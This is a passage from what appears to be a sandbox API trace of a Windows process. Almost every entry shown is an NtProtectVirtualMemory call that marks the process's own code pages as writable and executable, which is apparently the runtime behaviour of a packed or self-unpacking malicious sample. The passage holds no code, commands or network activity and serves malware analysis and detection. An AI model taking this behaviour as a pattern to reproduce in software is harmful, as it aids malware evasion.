OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.451] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.979] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x1eb8f234*=0x1c0000, RegionSize=0x1eb8f238, FreeType=0x8000) returned 0x0 [0340.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.579] 